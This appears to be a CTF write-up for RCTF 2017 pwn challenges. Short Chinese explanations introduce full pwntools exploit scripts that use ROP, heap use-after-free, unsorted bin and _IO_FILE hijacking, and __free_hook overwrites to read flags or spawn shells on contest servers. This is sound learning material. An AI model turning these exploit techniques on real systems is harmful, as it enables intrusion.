@SmashStack
2017-06-16T16:11:36.000000Z
字数 17341
阅读 1829
CTF
通过关闭 socket 的 write fd 退出循环,然后就是常规的 ROP 读 flag。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from pwnlib.log import *
import time
port = 9527
service = 'Recho'
timeout = 30
author = "SmashStack"
def output(name, data):
info(name + ': %#x', data)
def exploit(ip):
#r = process('./Recho') #, env = {'LD_PRELOAD' : '/home/izhuer/Downloads/out/lib/x86_64-linux-gnu/libc-2.19.so'} )#, aslr = False)
#pid = r.proc.pid
r = remote(ip, port)
#os.system('/home/izhuer/Documents/Python\ Script/filter.py 9527 Recho &')
#time.sleep(1)
#r = remote('localhost', port)
#r.recvuntil('Pid of subprocess: ')
#pid = int(r.recvline().strip())
e = ELF('./Recho')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
script = """
b *0x400834
c
"""
#gdb.attach(pid, gdbscript = script)
###################### exp starts here #####################
start_flag = 'Welcome to Recho server!\n'
r.recvuntil(start_flag)
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop_rsi = 0x00000000004008a1 # pop rsi ; pop r15 ; ret
pop_rdx = 0x00000000004006fe # pop rdx ; ret
pop_rax = 0x00000000004006fc # pop rax ; ret
add_gadget = 0x000000000040070d # add byte ptr [rdi], al ; ret
#payload = 'z' * (0x38 + 0xc)
payload = 'z' * 0x38
payload += p64(pop_rdi) + p64(e.got['read'])
payload += p64(pop_rax) + p64(0xe0)
payload += p64(add_gadget)
payload += p64(pop_rdi) + p64(e.got['read'] + 1)
payload += p64(pop_rax) + p64(0xfe)
payload += p64(add_gadget)
payload += p64(pop_rdi) + p64(e.symbols['flag'])
payload += p64(pop_rsi) + p64(0x0) * 2
payload += p64(e.symbols['read'])
payload += p64(pop_rdi) + p64(e.got['read'])
payload += p64(pop_rax) + p64(0x20)
payload += p64(add_gadget)
payload += p64(pop_rdi) + p64(e.got['read'] + 1)
payload += p64(pop_rax) + p64(0x02)
payload += p64(add_gadget)
payload += p64(pop_rdi) + p64(0x3)
payload += p64(pop_rsi) + p64(e.symbols['flag']) * 2
payload += p64(pop_rdx) + p64(0x40)
payload += p64(e.symbols['read'])
payload += p64(pop_rdi) + p64(0x1)
payload += p64(pop_rsi) + p64(e.symbols['flag']) * 2
payload += p64(pop_rdx) + p64(0x40)
payload += p64(e.symbols['write'])
payload += p64(e.symbols['main'])
r.sendline(str(len(payload)))
r.send(payload)
r.shutdown('write')
data = r.recv()
print data
r.interactive()
# r.sendline('ShutDown The BackDoor!')
######################### exp ends #########################
if __name__ == "__main__":
exploit('recho.2017.teamrois.cn')
溢出一字节造成 UAF,出题人的本意应该是想寻找合适的 size 伪造 fastbin,然后写栈。不过这里利用了 unsortedbin attack 和 __IO_FILE 劫持控制流回避了寻找 size 的过程。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from pwnlib.log import *
import time
port = 7777
service = 'RNote'
timeout = 30
author = "SmashStack"
def output(name, data):
info(name + ': %#x', data)
def exploit(ip):
# r = process('./RNote', env = {'LD_PRELOAD' : '/home/izhuer/Documents/CTF/RCTF/RNote/libc.so.6'} )#, aslr = False)
# pid = r.proc.pid
r = remote(ip, port)
# os.system('/home/izhuer/Documents/Python\ Script/filter.py 7777 RNote &')
# time.sleep(1)
# r = remote('localhost', port)
# r.recvuntil('Pid of subprocess: ')
# pid = int(r.recvline().strip())
e = ELF('./RNote')
libc = ELF('./libc.so.6')
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
script = """
b *0x400eb5
p 0x6020e0
c
"""
###################### exp starts here #####################
interactive_flag = 'Your choice: '
payload = ''
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x20))
r.sendafter('Please input the title: ', '0' * 0x10 + '\x50')
r.sendafter('Please input the content: ', payload.ljust(0x20, '\x00'))
payload = p64(0) # pre_size
payload += p64(0xd1) # size
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x20))
r.sendafter('Please input the title: ', '1' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x20, '\x00'))
payload = ''
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0xa0))
r.sendafter('Please input the title: ', '2' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0xa0, '\x00'))
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x50))
r.sendafter('Please input the title: ', '3' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x50, '\x00'))
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which Note do you want to delete:', '0')
r.sendlineafter(interactive_flag, '3')
r.sendlineafter('Which Note do you want to show: ', '1')
r.recvuntil(p64(0) + p64(0xd1))
libc_base = u64(r.recv(8)) - 0x3c3b78
output('libc_base', libc_base)
io_list_all_addr = libc_base + libc.symbols['_IO_list_all']
output('io_list_all_addr', io_list_all_addr)
system_addr = libc_base + libc.symbols['system']
output('system_addr', system_addr)
# leak libc base
payload = '\x00' * 0x18 + p64(0xb1)
payload += p64(system_addr) * 0x13
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0xc0))
r.sendafter('Please input the title: ', '0' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0xc0, '\x00'))
# initialize heap
# NOW! FUCK YOUR FUCKING SIZE! I WILL BYPASS SUCH A SHIT RESTRICTION WITHOUT USING FASTBIN!!!
payload = ''
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x20))
r.sendafter('Please input the title: ', '4' * 0x10 + '\xc0')
r.sendafter('Please input the content: ', payload.ljust(0x20, '\x00'))
payload = p64(0)
payload += p64(0xf1)
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x70))
r.sendafter('Please input the title: ', '5' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x70, '\x00'))
payload = ''
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x70))
r.sendafter('Please input the title: ', '6' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x70, '\x00'))
payload = ''
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x70))
r.sendafter('Please input the title: ', '7' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x70, '\x00'))
r.sendlineafter(interactive_flag, '3')
r.sendlineafter('Which Note do you want to show: ', '4')
r.recvuntil('4' * 0x10)
heap_base = u64(r.recv(4).ljust(8, '\x00')) - 0x1c0
output('heap_base', heap_base)
# leak heap base
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which Note do you want to delete:', '4')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which Note do you want to delete:', '5')
payload = '/bin/sh'.ljust(8, '\x00') + p64(0x60) + p64(io_list_all_addr - 0x10) * 2 + p64(heap_base) + p64(heap_base + 0x8)
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x70))
r.sendafter('Please input the title: ', '5' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x70, '\x00'))
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which Note do you want to delete:', '6')
payload = '\x00' * 0x58 + p64(heap_base + 0x70)
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x70))
r.sendafter('Please input the title: ', '6' * 0xf + '\n')
r.sendafter('Please input the content: ', payload.ljust(0x70, '\x00'))
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Please input the note size: ', str(0x100))
# gdb.attach(pid, gdbscript = script)
r.interactive()
# r.sendline('ShutDown The BackDoor!')
######################### exp ends #########################
if __name__ == "__main__":
exploit('rnote.2017.teamrois.cn')
strncat 造成溢出,overlap 以后修改 __free_hook 为 one_gadget
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from pwnlib.log import *
import time
port = 6666
service = 'RNote2'
timeout = 30
author = "SmashStack"
def output(name, data):
info(name + ': %#x', data)
def exploit(ip):
# r = process('./RNote2')
# r = process('./RNote2', env = {'LD_PRELOAD' : '/home/izhuer/Documents/CTF/RCTF/RNote2/libc.so.6'}, aslr = False)
# pid = r.proc.pid
r = remote(ip, port)
# os.system('/home/izhuer/Documents/Python\ Script/filter.py 6666 RNote2 &')
# time.sleep(1)
# r = remote('localhost', port)
# r.recvuntil('Pid of subprocess: ')
# pid = int(r.recvline().strip())
e = ELF('./RNote2')
libc = ELF('/home/izhuer/Documents/CTF/RCTF/RNote2/libc.so.6')
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
script = """
b *0x555555554f1d
b *0x5555555551c2
c
"""
###################### exp starts here #####################
interactive_flag = 'Your choice:\n'
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x100))
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', '1')
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x100))
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '3');
r.recvuntil('Note content: ')
libc_base = u64(r.recv(6).ljust(8, '\x00')) - 0x3c3b0a
output('libc_base', libc_base)
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
# Leak libc
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', '1')
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', '1')
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', '1')
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '3');
r.recvuntil('Note content: ')
heap_base = u64(r.recv(6).ljust(8, '\x00')) - 0xa
output('heap_base', heap_base)
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
# Leak heap base
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x18))
r.sendlineafter('Input the note content:\n', 'z' * 0x17)
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x18))
r.sendlineafter('Input the note content:\n', 'x' * 0x17)
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x18))
r.sendlineafter('Input the note content:\n', 'y' * 0x17)
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '2')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x100))
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x100))
r.sendlineafter('Input the note content:\n', '')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '3')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '3')
# Initial the heap
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x8))
r.sendafter('Input the note content:\n', 'z' * 0x8)
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0xa0))
r.sendafter('Input the note content:\n', '1' * 0xa0)
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0x20))
r.sendafter('Input the note content:\n', '2' * 0x20)
r.sendlineafter(interactive_flag, '5')
r.sendlineafter('Which note do you want to expand?\n', '2')
r.sendlineafter('How long do you want to expand?\n', str(0x2))
r.sendlineafter('Input content you want to expand\n', '\x01' * 0x1)
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
# overlap
# 1:y 2:z 3:1 4:2
payload = '\x00' * 0x18
payload += p64(0x31) # size
payload += p64(0) # edited
payload += p64(0x8) # notelen
payload += p64(0) # next
payload += p64(0) # last
payload += p64(libc_base + libc.symbols['__free_hook'])
payload += p64(libc_base + 0x18c177) * 0x10
output('bin_sh', libc_base + 0x18c177)
output('free_hook', libc_base + libc.symbols['__free_hook'])
r.sendlineafter(interactive_flag, '1');
r.sendlineafter('Input the note length:\n', str(0xf0))
r.sendlineafter('Input the note content:\n', payload)
# fake a note
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which note do you want to edit?\n', '2')
r.sendafter('Input new content:\n', p64(libc_base + 0x4526a))
output('one_gadget', libc_base + 0x4526a)
# make free_hook to one_gadget
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('Which note do you want to delete?\n', '1')
# gdb.attach(pid, gdbscript = script)
r.interactive()
# r.sendline('ShutDown The BackDoor!')
######################### exp ends #########################
if __name__ == "__main__":
exploit('rnote2.2017.teamrois.cn')
airport 的 UAF (出题人很喜欢 UAF 呀23333),利用 fly 泄漏地址信息以后 triple free 改函数指针为 system。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from pwnlib.log import *
import time
port = 9731
service = 'aiRcraft'
timeout = 30
author = "SmashStack"
def output(name, data):
info(name + ': %#x', data)
def exploit(ip):
# r = process('./aiRcraft', aslr = False)
# pid = r.proc.pid
r = remote(ip, port)
# os.system('/home/izhuer/Documents/Python\ Script/filter.py 9731 aiRcraft &')
# time.sleep(1)
# r = remote('localhost', port)
# r.recvuntil('Pid of subprocess: ')
# pid = int(r.recvline().strip())
e = ELF('./aiRcraft')
libc = ELF('./libc.so.6')
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
script = """
b *0x5555555553f4
p 0x555555756080
p 0x555555756100
c
"""
###################### exp starts here #####################
interactive_flag = 'Your choice: '
r.sendlineafter(interactive_flag, '1')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Input the plane\'s name: ', 'plane0')
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which plane do you want to choose? ', 'plane0')
r.sendlineafter(interactive_flag, '2')
# leave a chunk for plane
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('How long is the airport\'s name? ', str(0x10))
r.sendafter('Please input the name: ', '0' * 0x10)
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('How long is the airport\'s name? ', str(0x10))
r.sendafter('Please input the name: ', '1' * 0x10)
# make two airport
r.sendlineafter(interactive_flag, '3')
r.sendlineafter('Which airport do you want to choose? ', '0')
r.sendlineafter(interactive_flag, '2')
r.sendlineafter(interactive_flag, '3')
r.sendlineafter('Which airport do you want to choose? ', '1')
r.sendlineafter(interactive_flag, '2')
# free these two airport to triger UAF
r.sendlineafter(interactive_flag, '1')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Input the plane\'s name: ', 'plane0')
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which plane do you want to choose? ', 'plane0')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('which airport do you want to fly? ', '1')
r.recvuntil('plane0 to ')
pie_base = u64(r.recv(6).ljust(8, '\x00')) - 0xb7d
output('pie_base', pie_base)
r.sendlineafter(interactive_flag, '3')
# leak pie addr by chance
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which plane do you want to choose? ', 'plane0')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('which airport do you want to fly? ', '0')
r.recvuntil('plane0 to ')
heap_base = u64(r.recv(6).ljust(8, '\x00')) - 0x1b0
output('heap_base', heap_base)
r.sendlineafter(interactive_flag, '3')
# leak heap addr
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('How long is the airport\'s name? ', str(0x100))
r.sendafter('Please input the name: ', '2' * 0x100)
# put the freed chunk into smallbin
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which plane do you want to choose? ', 'plane0')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('which airport do you want to fly? ', '1')
r.recvuntil('plane0 to ')
libc_base = u64(r.recv(6).ljust(8, '\x00')) - 0x3c3be8
output('libc_base', libc_base)
r.sendlineafter(interactive_flag, '3')
# leak libc base
# Until now, the airplane 0 1 is freed and 2 is occupied
r.sendlineafter(interactive_flag, '3')
r.sendlineafter('Which airport do you want to choose? ', '2')
r.sendlineafter(interactive_flag, '2')
# free airplane 2 to leave free chunk for the old 0
payload = ''
payload += p64(libc_base + libc.symbols['environ'])
payload += p64(heap_base + 0x370)
payload += p64(heap_base + 0x370 - 0x50)
payload += p64(heap_base + 0x370)
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('How long is the airport\'s name? ', str(0x88))
r.sendafter('Please input the name: ', payload.ljust(0x88, '\00'))
# UAF to fake an airport
for i in xrange(1, 4):
r.sendlineafter(interactive_flag, '1')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Input the plane\'s name: ', 'plane%d' % i)
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which plane do you want to choose? ', 'plane%d' % i)
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('which airport do you want to fly? ', '1')
r.sendlineafter(interactive_flag, '3')
# Add some plane to trible free
r.sendlineafter(interactive_flag, '3')
r.sendlineafter('Which airport do you want to choose? ', '0')
r.sendlineafter(interactive_flag, '2')
# triger triple free
r.sendlineafter(interactive_flag, '1')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Input the plane\'s name: ', '/bin/sh\x00')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter(interactive_flag, '1')
r.sendlineafter('Input the plane\'s name: ', 'zzdawang')
# padding chunk
payload = ''
payload += '/bin/sh'.ljust(32, '\00') # name
payload += p64(0) # company
payload += p64(0) # airport
payload += p64(heap_base) # last
payload += p64(0) # next
payload += p64(libc_base + libc.symbols['system'])
r.sendlineafter(interactive_flag, '2')
r.sendlineafter('How long is the airport\'s name? ', str(0x48))
r.sendafter('Please input the name: ', payload.ljust(0x48, '\x00'))
# fake plane /bin/sh
r.sendlineafter(interactive_flag, '4')
r.sendlineafter('Which plane do you want to choose? ', '/bin/sh')
r.sendlineafter(interactive_flag, '2')
#gdb.attach(pid, gdbscript = script)
r.interactive()
# r.sendline('ShutDown The BackDoor!')
######################### exp ends #########################
#r.sendlineafter(interactive_flag, '1')
#r.sendlineafter(interactive_flag, '1')
#r.sendlineafter('Input the plane\'s name: ', 'plane%d' % i)
#r.sendlineafter(interactive_flag, '4')
#r.sendlineafter('Which plane do you want to choose? ', 'plane%d' % i)
#r.sendlineafter(interactive_flag, '1')
#r.sendlineafter('which airport do you want to fly? ', '1')
#r.sendlineafter(interactive_flag, '3')
#r.sendlineafter(interactive_flag, '4')
#r.sendlineafter('Which plane do you want to choose? ', 'plane2')
#r.sendlineafter(interactive_flag, '2')
if __name__ == "__main__":
exploit('aircraft.2017.teamrois.cn')